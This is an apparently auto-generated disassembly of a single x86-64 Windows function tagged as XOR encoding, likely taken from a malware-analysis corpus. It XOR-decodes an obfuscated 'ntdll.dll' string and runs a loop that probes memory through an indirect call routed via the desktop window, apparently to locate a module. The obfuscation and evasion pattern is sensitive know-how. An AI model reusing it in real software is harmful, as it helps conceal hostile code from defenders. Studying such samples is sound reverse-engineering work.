Function at 0x1800374a0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push r14
push r15
lea rbp, [rsp - 0x3f]
sub rsp, 0xd8
mov rax, qword [0x18004c010]
xor rax, rsp
mov qword [rbp + 0x17], rax
xor edi, edi
mov qword [rbp - 0x49], rdx
mov eax, edi
mov dword [rbp - 0x59], 0xf06150e
mov r14, rcx
mov dword [rbp - 0x55], 0xb024b08
mov word [rbp - 0x51], 4
mov byte [rbp - 0x4f], 1
nop dword [rax]
nop dword [rax + rax]
lea ecx, [rax + 0x60]
xor byte [rbp + rax - 0x59], cl
inc rax
cmp rax, 9
jb 0x1800374f0
mov qword [rsp + 0x110], rbx
lea rcx, [rbp - 0x59]
mov qword [rsp + 0xc8], r12
mov byte [rbp - 0x4f], dil
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
test rax, rax
je 0x1800376f3
mov dword [rbp - 0x2d], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rbx, qword [r14]
mov dword [rbp - 0x31], eax
lea rax, [rbp - 0x31]
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x29], rdi
mov qword [rbp - 0x41], 4
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [rsp + 0x30], edi
lea r8, [rbp - 0x41]
mov rcx, rax
mov dword [rsp + 0x28], 0x7a
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov edx, 0x404
call rbx
mov r12, qword [rbp - 0x29]
test r12, r12
je 0x1800376f3
mov rbx, qword [r14]
lea rax, [rbp - 0x31]
mov qword [rsp + 0xd0], rsi
mov qword [rbp - 0x39], rax
mov qword [rsp + 0xc0], r13
mov qword [rbp - 0x31], r15
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x21], rdi
mov qword [rbp - 0x41], 3
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [rsp + 0x30], edi
lea r8, [rbp - 0x41]
mov rcx, rax
mov dword [rsp + 0x28], 0x7a
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov edx, 0x404
call rbx
mov r13, qword [rbp - 0x21]
mov rsi, rdi
mov rdi, rsi
shl rdi, 0xc
cmp rdi, r12
je 0x1800376c0
mov rbx, qword [r14]
lea rax, [rbp - 0x19]
xor ecx, ecx
mov qword [rbp - 0x39], rax
mov qword [rbp - 9], rcx
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], rdi
mov qword [rbp - 0x41], 3
call qword [sym.imp.USER32.dll_GetDesktopWindow]
xor r9d, r9d
lea r8, [rbp - 0x41]
mov rcx, rax
mov edx, 0x404
xor eax, eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0x7a
mov qword [rsp + 0x20], rax
call rbx
mov rax, qword [rbp - 9]
test rax, rax
je 0x1800376c0
cmp rax, r13
jne 0x1800376c0
mov eax, dword [r14 + 8]
xor ecx, ecx
mov rbx, qword [r14]
mov dword [rbp - 0x19], eax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x11], rax
lea rax, [rbp + 0xf]
mov qword [rbp - 1], rax
lea rax, [rbp - 0x19]
mov qword [rbp - 0x29], rax
mov qword [r14 + 0x18], rdi
mov byte [rbp + 0xf], 0
mov dword [rbp - 0x15], ecx
mov qword [rbp - 9], rdi
mov qword [rbp + 7], 1
mov qword [rbp - 0x31], 1
call qword [sym.imp.USER32.dll_GetDesktopWindow]
xor r9d, r9d
lea r8, [rbp - 0x31]
mov rcx, rax
mov edx, 0x404
xor eax, eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0x7a
mov qword [rsp + 0x20], rax
call rbx
cmp byte [rbp + 0xf], 0x4d
je 0x1800376d2
inc rsi
cmp rsi, 0x50000000
jne 0x1800375e0
jmp 0x1800376d6
mov qword [r14 + 0x18], rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r13, qword [rsp + 0xc0]
mov al, 1
mov rsi, qword [rsp + 0xd0]
jmp 0x1800376f5
xor al, al
mov r12, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0x110]
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.18003cdf0
add rsp, 0xd8
pop r15
pop r14
pop rdi
pop rbp
ret